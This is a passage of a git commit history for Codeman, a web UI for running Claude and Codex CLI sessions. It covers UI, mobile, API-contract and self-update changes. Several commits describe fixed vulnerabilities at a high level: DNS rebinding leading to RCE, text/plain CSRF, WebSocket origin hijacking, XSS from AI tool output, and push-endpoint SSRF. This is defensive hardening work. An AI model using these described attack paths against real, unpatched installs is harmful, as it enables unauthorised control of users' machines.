--server-pid) and launchd respawns it on the new dist/ — no root needed.
Detection requires the daemon plist to be bootstrapped AND KeepAlive=true.

Also: on boot, a 'completed-needs-manual-restart' status auto-completes
when the running version matches the staged target, so the stale
'restart Codeman to apply' instruction no longer lingers in the UI.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 17:08:36 +02:00
arkonandClaude Fable 5 0be3d09603 chore: version packages
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 16:48:32 +02:00
arkonandClaude Fable 5 96035ffa1f feat(settings): Claude Model picker for new sessions; Fable 5 in model dropdowns
App Settings → Claude CLI gains a Claude Model select (claudeModel setting)
that pins the model for new Claude sessions via the case's
.claude/settings.local.json, taking precedence over the 1M Opus toggle.
Fable 5 added to the orchestrator default/phase model dropdowns.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 16:47:05 +02:00
arkonandClaude Opus 4.8 7dd7614760 docs+test: document Codex run mode in CLAUDE.md; make tests immune to CODEMAN_GESTURE
CLAUDE.md: tech-stack, envOverrides, and prefix-discipline sections now
cover the Codex (OpenAI CLI) run mode merged in PR #114 (SessionMode
'codex', codex-cli-resolver, CODEX_* allowlist).

test/setup.ts: strip CODEMAN_GESTURE like the auth vars — when the
shell exports it, renderIndexHtml injects the gesture-availability
flag and test/server-index-title.test.ts byte-identity assertions fail
(1 spurious failure in an otherwise-green local test:ci sweep).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 16:23:57 +02:00
Ark0N 9c986b2869 Merge pull request #114 from aakhter/pr/cod-34-codex
feat(codex): add Codex (OpenAI CLI) run-mode foundation
2026-06-10 16:22:52 +02:00
arkonandClaude Opus 4.8 8c7a9781fa fix(codex): review fixes — envelope handling, mode guards, UI parity
Blocker: runCodex read raw response shapes, but the global
preSerialization hook (server.ts) wraps every payload in the
{ success, data } envelope — status.available was always undefined, so
the UI unconditionally printed "Codex CLI not found" and could never
start a session; the created session was also never auto-selected
(data.sessionId vs data.data.sessionId). Fixed both reads to match
runOpenCode, and updated the test mocks to the real wire shape (plus a
selectSession assertion) so envelope drift fails the test.

Guard parity: export isExternalCliMode() from session.ts and use it in
the ralph-config guard, all three respawn guards, and the six restore/
setup guards in server.ts that previously only excluded 'opencode' —
codex sessions could otherwise get a Ralph tracker or respawn
controller attached (idle detection is Claude-specific and output-
silence respawn cycling would misfire on a quiet codex TUI).

UI parity: cx tab badge, "Kill Tmux & Codex" dialog title, and the
missing CSS (.run-mode-dot.codex, .tab-mode.codex, .mode-codex button
colors — purple) so the Codex menu dot is no longer invisible. Removed
the dead object-literal runMode getter that Object.assign flattens
(superseded by the defineProperty accessor this PR adds).

Verified end-to-end on an isolated instance with a stub codex binary:
10/10 Playwright checks (menu/dot/label/button styling, session
created + auto-selected, cx badge, TUI output streamed, ralph+respawn
guards reject codex) and --dangerously-bypass-approvals-and-sandbox
+ --model observed on the spawned command line.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 16:16:20 +02:00
Aamer AkhterandSaqeb Akhter 70378315da feat(codex): add Codex (OpenAI CLI) run-mode foundation
Add Codex as a first-class session mode alongside Claude/Shell/OpenCode.

- codex-cli-resolver: locate the `codex` binary and augment PATH (mirrors the
  OpenCode resolver)
- SessionMode 'codex' + CodexConfig (model, resumeSessionId, dangerouslyBypass,
  renderMode); persisted in SessionState and threaded through CreateSession/
  RespawnPane options
- schema validation: CodexConfigSchema, CODEX_ env-var prefix allowlist, mode
  enums on create/quick-start, codexDangerouslyBypassApprovals setting
- tmux launch: buildCodexCommand, setenv for OPENAI_API_KEY/CODEX_* (keeps
  secrets out of ps), truecolor COLORTERM, codex PATH resolution
- session + routes: availability check (clear install hint), config passthrough,
  tmux-required guard; Codex skips Claude-only parsers (Ralph/respawn/token)
- run-mode UI: "Run CX" selector option + dedicated Codex CLI settings tab with
  the bypass-approvals toggle; GET /api/codex/status

Scope: foundation only. Codex terminal redraw handling and xterm snapshot/replay
are intentionally excluded and tracked separately.

Verification: tsc --noEmit, eslint, prettier --check, check:frontend-syntax all
clean; full test:ci suite green (2712 passed, 0 failed); server boot smoke OK.

Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
2026-06-10 09:34:52 -04:00
arkonandClaude Opus 4.8 f8b2a2a347 docs: document the response-viewer (eye) button visibility toggle in CLAUDE.md
CLAUDE.md audit against current tree: all commands, counts, and
architecture claims verified accurate; the only drift was the new
showResponseViewer toggle (8a995cb) and its hidden-by-default flip
(dd44976), now covered in the Frontend section.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 14:52:18 +02:00
arkonandClaude Opus 4.8 dd449765de feat(ui): hide the response-viewer (eye) header button by default
Flip both showResponseViewer fallbacks to false and ship the template
with the hidden marker class so fresh installs never flash the button
before settings apply (enabling it via App Settings -> Display ->
Response Viewer still works live and survives reload).

Verified via Playwright on a fresh instance: 5/5 — hidden + unchecked
by default on desktop, enable shows live + persists, marker class
mirrors the per-device setting on mobile.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 12:16:47 +02:00
arkonandClaude Opus 4.8 8a995cb9e3 feat(ui): toggle to hide the response-viewer (eye) header button
The eye button (View last response) was the only header control with
no visibility setting. Add App Settings -> Display -> "Response
Viewer" (showResponseViewer, default on, per-device like the other
header toggles; added to the displayKeys no-cross-device-sync set
along with showLifecycleLog, which was missing from it).

Hiding uses a marker class with higher specificity — the base rule is
display:inline-flex !important, so an inline style cannot override it.

Verified via Playwright on a fresh instance: 8/8 — default visible,
hides live on save, persists across reload, server schema accepts the
key, re-enable restores, mobile storage isolated.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 12:10:31 +02:00
arkonandClaude Opus 4.8 e1f611b8fb chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 11:19:10 +02:00
arkonandClaude Opus 4.8 cb978fb178 fix(ui): monitor panel off by default; unbreak task-badge open when hidden
Fresh desktop installs slid the Monitor panel open at startup — the two
showMonitor fallbacks defaulted to true (mobile already defaulted false
via getDefaultSettings). Default it to false everywhere; users opt in
via App Settings -> Show Monitor.

Also fix toggleMonitorPanel(): applyMonitorVisibility() leaves inline
display:none when the setting is off, so the session-tab task badge
toggled the open class invisibly (already broken on mobile). Clear the
inline display when opening so transient opens work.

Local echo defaults audited, unchanged: off on desktop, on for touch
(?? MobileDetection.isTouchDevice()), stored per-device and never
server-synced.

Verified on a fresh isolated instance (desktop + iPhone 13 emulation):
14/14 checks — panel closed + checkbox unchecked on both device
classes, local echo desktop-off/mobile-on, separate storage keys,
badge open works.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 11:12:19 +02:00
arkonandClaude Opus 4.8 1586d32e45 feat(mobile): add Esc button to the simple keyboard accessory bar
The default (simple) accessory bar above the mobile keyboard had no way
to send Escape — the esc action only existed in the opt-in extended
layout. Add the Esc button next to the paste button; the send/refocus
handlers already covered the action.

Verified via Playwright (iPhone 13 emulation): renders next to paste,
sends \x1b to /api/sessions/:id/input, bar still fits 390px without
scrolling, mode round-trips intact.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 10:53:42 +02:00
arkonandClaude Opus 4.8 0b29e0e74f docs: sync CLAUDE.md with post-#113 reality
- CI section: document the test job (npm run test:ci via vitest.ci.config.ts)
  and check:frontend-syntax — the "unit suite is excluded" claim was stale
- Testing: rewrite rationale (bare npm test fails on browser suites, not tmux)
  and safety model (TmuxManager in-memory mock under VITEST; the
  registerTestTmuxSession/snapshot mechanism no longer exists)
- API Routes: add the ApiResponse envelope and /api/v1 alias contract
- Minor: app.js ~3.6K lines, codeman bin alias, new command-table rows,
  config-barrel note, generated/gitignored dirs section

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 09:44:27 +02:00
Ark0N e0ddbb147b Merge pull request #111 from aakhter/pr/cod-33-mobile
fix(mobile): terminal and layout fixes for touch devices
2026-06-10 08:51:30 +02:00
arkonandClaude Opus 4.8 7a39fd9a77 fix(mobile): close audit findings — desktop focus, claim wiring, CJK setting, ESC passthrough
Adversarial post-rebase audit (11 agents) confirmed four real issues;
all fixed:

- Desktop tab clicks stopped focusing the terminal: handleSessionTabClick
  passed preserveKeyboard:false on desktop (KeyboardHandler.keyboardVisible
  is mobile-only state) and selectSession's ternary mapped explicit false
  to 'never focus', skipping the gesture-stack focus master relies on.
  Focus policy now lives solely in _shouldFocusTerminalForTabSwitch()
  (desktop: always; touch: only while the keyboard is open).

- Desktop sizing claims were almost never registered: selectSession's
  resizes run before _connectWs, so they went over HTTP (which never
  claims), leaving the arbitration inert in the canonical desktop+phone
  scenario. ws.onopen now sends a typed resize over the fresh socket —
  registering the claim and syncing PTY dims after (re)connects.

- throttledResize (the main window-resize path) sent untyped HTTP
  resizes: a rotating phone bypassed a desktop claim, and a desktop
  narrowing past the tablet breakpoint never released its stale claim.
  It now sends typed resizes, WS-first, like sendResize.

- The cjkInputEnabled App Settings toggle was silently ignored on touch
  phones/tablets (composer only reachable via the server inputCjkForm
  override, while the checkbox stayed visible and saveable). The user
  setting is honored everywhere again; mobile keeps native-input-by-
  default via the cjkInputEnabled:false mobile default.

- _handleCjkInput appended multi-byte ESC sequences (hardware-keyboard
  arrows/Home/End on the composer) to local-echo pending text, typing
  raw ESC bytes into the prompt on Enter; they are now forwarded to the
  PTY like the onData path. Its backspace path also syncs the
  per-session flushed Maps the way onData does, so tab-switch restore
  no longer resurrects deleted characters.

Defensive: Session.stop() clears desktop sizing claims (a hung client's
socket close can lag teardown by a ping cycle), and the claims docblock
documents the WS-only tradeoff explicitly.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 04:31:45 +02:00
arkonandClaude Opus 4.8 e77df131b8 fix(mobile): address review blockers on the touch-device change set
Review follow-ups on PR #111 (rebased onto master post-#112/#113):

Resize arbitration redesigned (review blocker 2): the previous
'cols < _ptyCols' guard froze a mobile-only session's PTY at the spawn
default — narrow phones rendered clipped and could never re-fit. The
guard now uses connection-scoped desktop sizing claims instead:
ws-routes registers a claim on a desktop-typed resize and releases it
on socket close (or when the same connection later reports a small
viewport), and Session.resize() ignores mobile/tablet resizes only
while at least one desktop connection holds a claim. A phone alone
fully controls its size (shrink, rows-only shrink, re-grow); a phone
glancing at a desktop-driven session can no longer reflow it.
mobile-handlers' keyboard open/close resize now declares its viewport
type so it participates in arbitration. Tests rewritten to cover
mobile-only shrink/rows-only/re-grow, claim/release lifecycle, multi-
claim behavior, and untyped legacy resizes; ws-routes test covers the
claim lifecycle over a real socket.

Solo/detached header restored (review blocker 3): index.html had
removed #soloSessionTitle and #soloRedockBtn, which _applySoloMode
still references — every detached window hit a null deref. Both are
back alongside the new mobile utility toggle.

Desktop leak fixed (review should-fix): .mobile-header-utility-toggle
had no rule outside the <=768px media queries, so the raw button
rendered on desktop. styles.css now hides it by default; the mobile/
tablet queries re-enable it.

Visual-regression baselines reverted to master (review should-fix):
the 18 contributor-machine PNGs are environment-specific (8 of the
behavioral tests already report environment-sensitive failures across
machines); re-baseline deliberately on the canonical machine instead.
The 24 behavioral keyboard/layout/tabs tests are kept as-is.

AGENTS.md trimmed to a pointer at CLAUDE.md (review should-fix) to
avoid drift between duplicated guidance.

Also dropped a dead getAttachmentHistoryForPersist stub (codex-branch
residue — no such method exists in src/).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 04:07:26 +02:00
Aamer AkhterandSaqeb Akhter 02fa3f30f5 fix(mobile): terminal and layout fixes for touch devices
Mobile-focused fixes for the web UI: keyboard-accessory layout and
overlap, native input visibility above the keyboard, CJK input handling,
terminal touch scrolling, tab-menu tap targets, mic-recording glow
containment, and mobile resize/keyboard-state handling on tab switch,
plus mobile visual-regression test coverage and snapshots.

Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
2026-06-10 03:47:26 +02:00
Ark0N 272f0d13ad Merge pull request #113 from Ark0N/v1-readiness-hardening
v1.0 readiness: governance docs, CI test gate, and security hardening (M1/M7)
2026-06-10 03:46:27 +02:00
arkonandClaude Opus 4.8 c29475ed10 fix(api): close contract gaps found by post-merge adversarial audit
A 15-agent audit of the merged tree confirmed 9 envelope/contract bugs;
all fixed here, with live-server contract tests added:

Blockers (fresh-install quick start broken):
- session-ui.js runClaude/runShell unwrapped .data from the /api/cases/:name
  404 error envelope (which has no data key), so a not-yet-created case threw
  TypeError instead of triggering the auto-create fallback. Now '?.data ?? {}'.

Contract violations on the new stable surface:
- Unknown /api routes returned HTTP 404 with {success:true,...} (Fastify's
  default not-found payload was wrapped by the envelope hook). Added a
  setNotFoundHandler returning the standard error envelope for /api paths.
- POST /api/events/subscribe 400 body became {success:true,data:{error}};
  now createErrorResponse(INVALID_INPUT).
- POST /api/clipboard validation error lacked errorCode and shipped HTTP 200;
  now createErrorResponse(INVALID_INPUT) -> 400.
- POST /api/run catch path returned bare {success:false,sessionId,error}
  (HTTP 200, no errorCode); now OPERATION_FAILED envelope -> 422 with the
  dead session id in the message.
- DELETE tail-file/:streamId returned {success: closed}, colliding with the
  envelope discriminator; now returns {closed}.

Dead/regressed UI paths:
- Plan history modal could never open: route returned the bare history array
  under data while the frontend read data.data.history/currentVersion. Route
  now returns {history, currentVersion}; modal task count fixed to stats.total.
- Self-update error toast read j.error.message from the string-typed envelope
  error, always falling back to the generic message; now reads the string.

Cleanup:
- Removed the stale QuickStartResponse type (unreferenced; documented the
  pre-envelope shape and invited success-key collisions).

Tests: new test/http-contract.test.ts boots a real WebServer (port 3168) and
pins the envelope, /api/v1 alias, error statuses, and the /api 404 shape —
the route-test harness does not install the server-level hook, so these need
the live server. Updated file-routes/plan-routes/scheduled-runs tests to the
fixed shapes.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 03:41:04 +02:00
arkonandClaude Opus 4.8 732463b36e fix(web): loadQuickStartCases expected enveloped settings from the already-unwrapped shared settingsPromise
app.js resolves settingsPromise to the unwrapped settings object
(env?.data ?? null), matching loadAppSettingsFromServer. The
loadQuickStartCases consumer still read settings.data.lastUsedCase,
which silently dropped the last-used-case preselection; its fallback
fetch also missed the envelope unwrap. Align both with the unwrapped
shape.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 03:19:51 +02:00
arkonandClaude Opus 4.8 19d7167fa2 Merge master (PR #112 terminal pane-buffer rework) into v1-readiness-hardening
Conflict in src/web/public/app.js selectSession: combined #112's
_clearTerminalLoadState cleanup on stale select with #113's
{success,data} envelope unwrap of the terminal fetch.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 03:17:12 +02:00
Ark0N 227495a9bd Merge pull request #112 from aakhter/pr/cod-32-terminal
feat(terminal): tmux pane-buffer primitives and session/render reliability
2026-06-10 03:09:07 +02:00
arkonandClaude Opus 4.8 b75181b725 fix(terminal): address re-review findings on the pane-buffer rework
Follow-up to the PR #112 re-review (all six prior blockers were already
resolved; these are new issues the rework introduced):

- app.js: define the missing `_scheduleTerminalRepaint()` helper. It was
  called from both WebGL-fallback paths (onContextLoss + long-task trip)
  but defined nowhere, so each fallback threw `TypeError` and lost the
  post-fallback repaint, leaving a stale/blank terminal. Implemented as an
  rAF-debounced full refresh (matches the old inline `terminal.refresh`).
- app.js: clear terminal load-state on the two post-write stale-select
  early-returns (cached-buffer + rewrite branches), matching the other
  four checks. Switching away from a mid-loading tab no longer leaks a
  permanent `.tab-loading` spinner / `aria-busy=true`.
- terminal-ui.js + app.js: gate the post-resize TUI-redraw settle on an
  actual dimension change. `sendResize` now returns whether dims changed;
  a same-size tab switch sends no SIGWINCH, so the wait is skipped instead
  of charging a flat tax on every non-shell switch. Literal hoisted to
  `TUI_REDRAW_SETTLE_MS`.
- tmux-manager.ts: `resizeWindow()` uses a non-blocking `exec` instead of
  `execSync` so the interactive WS/HTTP resize path can't stall the
  Fastify event loop on a slow/hung tmux. Sole caller already fire-and-
  forgets the result; test updated to assert the async dispatch.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 02:07:26 +02:00
arkonandClaude Opus 4.8 e38e53302b test: de-flake StaleExpirationMap age/TTL timing assertions for CI
The new CI test gate surfaced a pre-existing flaky timing test: 'should return age of entry' asserted age>=50 after a 50ms setTimeout and measured 49ms on a jittery CI runner. Widened the elapsed-time windows (age >=40/<500; remaining TTL >700/<=960) so they tolerate timer jitter. Pre-existing flakiness, unrelated to the API migration. (File was also normalized by prettier per the pre-commit hook.)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 01:38:40 +02:00
arkonandClaude Opus 4.8 458fb81cbe feat(api): establish stable HTTP contract — uniform {success,data} envelope, status codes, /api/v1
Point 1 of the v1.0 lock-in: commit to a stable HTTP API (the cleanest, fullest form).

Core (centralized):
- Every JSON /api response now uses ONE envelope via a Fastify preSerialization hook (src/web/server.ts): success -> { success:true, data:<payload> }; error -> { success:false, error, errorCode } with a conventional HTTP status. Non-JSON routes (file-raw, tail-file SSE, download, screenshots, /q redirect, WS) are skipped.
- Error-code -> HTTP status is a single source of truth (httpStatusForErrorCode in src/types/api.ts): 400/401/404/409/422/429/500. Expanded ApiErrorCode (added UNAUTHORIZED, CONFLICT, RATE_LIMITED). Errors are no longer HTTP 200.
- Versioned alias: /api/v1/* rewrites to /api/* (rewriteApiV1Url), so external clients pin to a stable surface while the bundled UI keeps using /api/*.
- Handlers stripped of manual 'success:true' (50 across 14 route files) so they return bare payloads the hook wraps uniformly; fixed the mux DELETE {success:<bool>} envelope collision (-> {killed}).

Frontend (48 call sites across 10 files):
- _apiJson() auto-unwraps { success:true, data } -> data (null on error), so most bare-shape readers are transparent. Raw-fetch sites relocate payload reads under .data; success/res.ok/error checks unchanged.

Docs: new docs/api-reference.md (envelope, status table, error codes, /api/v1, SSE); versioning-policy.md flipped — the HTTP/SSE API is now part of the stable, SemVer-covered surface.

Verification: full unit/route suite green (2680 passed) incl. ~166 updated assertions across 24 test files; typecheck/lint/format/frontend-syntax clean; a headless-chromium smoke loaded the migrated UI and drove the panels with 0 console/page errors; /api/status and /api/v1/status confirmed returning the uniform envelope live.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 01:30:43 +02:00
arkonandClaude Opus 4.8 5b3024b327 chore(v1): raise Node floor to >=22 and add codeman bin alias
- engines.node >=18 -> >=22 (Node 18/20 are EOL; CI only tests 22; the start script + systemd unit use NODE_COMPILE_CACHE which needs 22.1+). Updates the README badge and CLAUDE.md requirements to match.
- bin: add a 'codeman' alias alongside 'aicodeman' so 'npm i -g aicodeman' provides the 'codeman' command every doc/symlink references (program.name is already 'codeman'; the published package name stays 'aicodeman').

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 00:16:01 +02:00
Aamer AkhterandSaqeb Akhter 0569f68b86 feat(terminal): tmux pane-buffer primitives and session/render reliability
Mode-agnostic terminal foundation extracted from the downstream branch:
- formatPaneSnapshot: SGR/grapheme-aware tmux pane capture + active-pane
  resolution, with OSC/CSI redraw suppression and the buffer-load owner-token
  race fix on the terminal fetch path
- socket-correct tmux lifecycle: dedicated -L socket and /tmp launch cwd in
  createSession (restores the FUSE/getcwd hardening from #110), and a
  socket-aware re-attach window-size query (avoids the 120x40 flicker)
- inline-rename: commit/cancel state handling clears _activeRename and skips
  the API call on cancel
- selectSession: restored detached-window raise short-circuit

The codex-specific xterm snapshot/replay, the vendored serialize addon, and
the synchronous live pane-capture on the request path are intentionally
excluded: they depend on a 'codex' SessionMode that doesn't exist on master
and are deferred to COD-34 (which introduces that mode). The capture
primitives remain exported for COD-34 to build on.

Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
2026-06-09 15:39:03 -04:00
arkonandClaude Opus 4.8 b84438a0aa fix(security): push-endpoint SSRF guard + tmux name validation; document tail-file roots
- M7 (SSRF): add isSafePushEndpoint (https-only; reject internal/loopback/link-local/metadata IPs incl. IPv4-mapped); enforce in PushSubscribeSchema and re-check before webpush.sendNotification. + unit test.
- M1 (command injection): validate tmux session names with isValidMuxName in sessionExists, killSession, and reconcileSessions before they reach a shell call site.
- M5: keep the intentional /var/log + ~/logs log-tail roots (a tested feature) and document the wider read scope in docs/security-architecture.md section 5 instead of dropping it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 20:02:17 +02:00
arkonandClaude Opus 4.8 d5f91e4cd7 test(ci): run the unit suite in CI + frontend-syntax gate; green pre-existing test debt
- CI: add a 'test' job running the unit suite via config/vitest.ci.config.ts. Excludes browser (Playwright/chromium) and perf tests (timing-flaky), like the existing test/mobile suite. Safe in CI: TmuxManager no-ops shell commands under VITEST (test/setup.ts).
- Add scripts/check-frontend-syntax.mjs (node --check on src/web/public/*.js), wired into the lint job — catches a class of frontend SyntaxError that passes lint today (lint globs only TS).
- Add test/security-regression.test.ts (wired Host/Origin guard, self-update CSRF, CSP/security headers, text/plain raw body, WS anti-CSWSH) + test/sse-registry-parity.test.ts (backend<->frontend SSE registry parity).
- Green pre-existing test debt surfaced by the new gate: stale 'Session not found' asserts -> 'not found' substring; drop tests for removed helpers (isError now internal; createSuccessResponse deleted); file-stream-manager: mock realpathSync + fix stale /tmp assertion; sse-subscription-filter: lifecycle events broadcast to all clients (only terminal stream filtered); session.test.ts: mkdir /tmp/test; skip one interactive-respawn test needing a real PTY (covered by respawn-controller.test.ts).
- Full non-mobile suite verified green locally (2680 passed, 12 skipped).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 20:02:15 +02:00
arkonandClaude Opus 4.8 36bc22a3d5 docs(v1): add SECURITY.md + versioning policy; fix LICENSE and stale overlay gotcha
- Add SECURITY.md: private disclosure path, supported versions, known limitations.
- Add docs/versioning-policy.md defining what 1.0 SemVer covers (CLI + documented env vars are public; HTTP/SSE API, on-disk state, and experimental features are internal/unstable).
- LICENSE: '2024 Claudeman Contributors' -> '2024-2026 Codeman Contributors'.
- CLAUDE.md: fix the stale xterm-zerolag-input 'duplicated in app.js' gotcha (it is single-source now -> gitignored vendor bundle via postinstall.js/build.mjs); add versioning + security pointers; minor /init nav fixes (image-input load order, server.ts marker).
- README: link SECURITY.md + the versioning policy.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 19:05:50 +02:00
Ark0N 2952256d65 Update README.md 2026-06-09 14:19:53 +02:00
arkonandClaude Opus 4.8 3afb7a66dc chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 12:34:44 +02:00
arkonandClaude Opus 4.8 8fc139d671 docs: refresh README + document v0.9.5 security hardening
README: add a dedicated Security section (always-on Host/Origin
allowlist & DNS-rebinding defense, cross-site CSRF guard, raw
text/plain parser, WebSocket origin validation, XSS-escaped agent
output), plus an Orchestrator Loop section, Agent Teams, and a
More Features section (self-update, dual-CLI, effort/ultracode,
voice, image, gesture, multi-monitor, CJK). Correct stale stats
(tests 1435->2861, 13->15 route modules, 14->16 types, 9->10
config, server.ts 2697->2254, 9->18 frontend modules), fix the
keyboard-shortcut table to match the actual registry (drop the
unbound Ctrl+Enter/Ctrl+K), repoint a moved doc link, add
Orchestrator + self-update API rows, and add Orchestrator/Team
Watcher to the architecture diagram.

security-architecture.md: document the always-on Host-header &
Origin allowlist, text/plain hardening, WebSocket check, XSS
escaping, and CODEMAN_ALLOWED_HOSTS.

CLAUDE.md: add Host guard / CSRF guard rows + CODEMAN_ALLOWED_HOSTS.

security review report: add a remediation-status banner (the
pre-fix TL;DR now reads as v0.9.4 state; fixed in c669518).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 04:35:29 +02:00
arkon 5adf044399 chore: version packages 2026-06-09 03:54:17 +02:00
arkonandClaude Opus 4.8 d95b4c597c feat(self-update): live progress during install/build so it doesn't look hung
The updater wrote the status once per phase, so the minute-plus npm install and
build steps left the UI frozen on a single label. Add:

- a heartbeat in scripts/self-update.sh (run_step wrapper) that refreshes
  update-status.json every ~3s during the install/build steps with the latest
  output line; full output is still mirrored to the update log.
- a frontend (settings-ui.js) that, during non-terminal phases, shows the live
  status message plus a ticking total-elapsed counter instead of only the static
  phase label.

Takes effect when updating FROM a build that contains it — the detached runner
script (staged from scripts/self-update.sh) and the polling frontend are both
the from-version's copies.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 03:36:39 +02:00
arkon e82e38e68d chore: version packages 2026-06-09 03:26:25 +02:00
arkonandClaude Opus 4.8 c669518ba0 fix(security): block DNS rebinding + cross-site CSRF + subagent-panel XSS
Adds an always-on Host-header allowlist and a cross-site Origin/CSRF guard,
hardens the text/plain body parser, validates the WebSocket upgrade origin,
and escapes AI-derived fields in the subagent panel. Closes the two
CRITICALs and 5 HIGHs from the 2026-06-09 adversarial security review.

- C1: no Host allowlist -> DNS rebinding drove the full API (RCE) on the
  default no-auth loopback install. New registerHostGuard rejects rebound
  custom domains; allows loopback, any IP literal, the bind host,
  *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, the active managed
  tunnel, and CODEMAN_ALLOWED_HOSTS.
- C2: a global text/plain parser JSON-parsed every body, enabling cross-site
  simple-request CSRF. Parser now keeps the raw string; /api/crash-diag
  self-parses; the global Origin guard rejects cross-site state changes.
- H1/H3/H6: self-update, session create/input, and settings/tunnel toggles
  were CSRF-triggerable -> now covered by the Origin guard.
- H4: the subagent activity panel injected raw AI tool names/inputs into
  innerHTML (executed under CSP 'unsafe-inline'). All sinks now escapeHtml'd.
- H5: the WebSocket upgrade had no Origin/Host check (CSWSH) -> now validated.

A missing Origin is allowed so curl/CLI and Claude Code hooks keep working;
custom reverse-proxy domains need CODEMAN_ALLOWED_HOSTS=host,.suffix.

Deferred: H2 (self-update tag signing, needs signing infra) and CSP
'unsafe-inline' removal (needs a nonce migration).

Tests: test/network-host-guard.test.ts (19), test/routes/ws-routes.test.ts
updated. Report: docs/reports/security-review-2026-06-09.md

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 03:19:51 +02:00
arkonandClaude Opus 4.8 3a56ea4978 chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 01:56:49 +02:00
arkonandClaude Opus 4.8 543be8a85b feat: add in-app self-updater (App Settings → Updates)
Update Codeman from the web UI: a "Check for updates" button queries GitHub
for the latest tagged release (git ls-remote fallback) and shows release
notes; "Update now" runs git checkout <tag> → npm install → npm run build →
restart, streaming live progress that survives the service restart.

- Release-tag channel; dirty trees auto-stashed (left for manual git stash pop)
- Cross-platform restart: systemd / launchd / manual, detected at runtime
- Updater runs detached (systemd-run --scope on Linux, setsid on macOS) so the
  restart it triggers can't kill the build mid-flight
- Build-failure rollback to the pre-update commit; boot reconcile with an
  update-id/freshness guard; 409 concurrency lock; runner staged outside the
  repo; strict tag validation; CODEMAN_DISABLE_SELF_UPDATE kill-switch
- Endpoints: GET /api/system/update/check, POST /api/system/update,
  GET /api/system/update/status

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 01:55:54 +02:00
arkonandClaude Opus 4.8 3503b6ae55 docs(security): add trust model, CSP detail, and source-file map
Expand docs/security-architecture.md:
- Add a table-of-contents and an explicit "Trust model" section
  framing the security boundary as network-bind + auth (not a
  sandbox around --dangerously-skip-permissions), with an
  actor/granted matrix and out-of-scope notes.
- Clarify the file-serving hardening: the octet-stream + attachment
  + nosniff combination (not the CSP, which allows 'unsafe-inline')
  is what blocks SVG/HTML execution.
- Detail the actual transport security headers: enumerated CSP
  widenings (cdn.jsdelivr.net, deepgram wss, data:/blob: img-src,
  gesture wasm opt-in), HSTS, X-Frame-Options, localhost-only CORS.
- Add a "Key source files" table and a dated maintenance note.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 00:52:27 +02:00
arkonandClaude Opus 4.8 84b59567b1 fix(sse): sync frontend SSE_EVENTS registry with backend
Add the 30 SSE event constants that existed in the backend
src/web/sse-events.ts but were missing from the frontend
SSE_EVENTS object in constants.js, bringing both registries to
an exact 120-event match:

- Session lifecycle: autoCompact, message, interactive, running
- Session: Plan (new): planTaskUpdate, planCheckpoint, planRollback,
  planTaskAdded
- Respawn: cycleCompleted, stepSent, stepCompleted, aiCheck* (4),
  planCheck* (3), log, configUpdated
- Scheduled: log, deleted
- Teams (new): created, updated, removed, taskUpdated
- Transcript (new): complete, plan_mode, tool_start, tool_end

Purely additive registry constants (none were referenced by raw
string in the frontend, so no behavior changes). Also refresh the
now-accurate event-count JSDoc on both files, and fix the files()
route handler count in CLAUDE.md (5 -> 6).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 00:50:34 +02:00
arkonandClaude Opus 4.8 82c31b6073 feat(installer): show network-security notice at end of install/update
install.sh now prints the loopback-bind security notice as the final block of
both the one-line fresh install and the update flow, so it stays visible. Also
documents that gesture control remains opt-in / default-off (changeset).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 00:39:19 +02:00
arkonandClaude Opus 4.8 09a142d14b feat: vendor gesture-control source into packages/gesture-control
Bring the Ark0N/codeman-gesture-control repo in-tree as the codeman-gesture-control
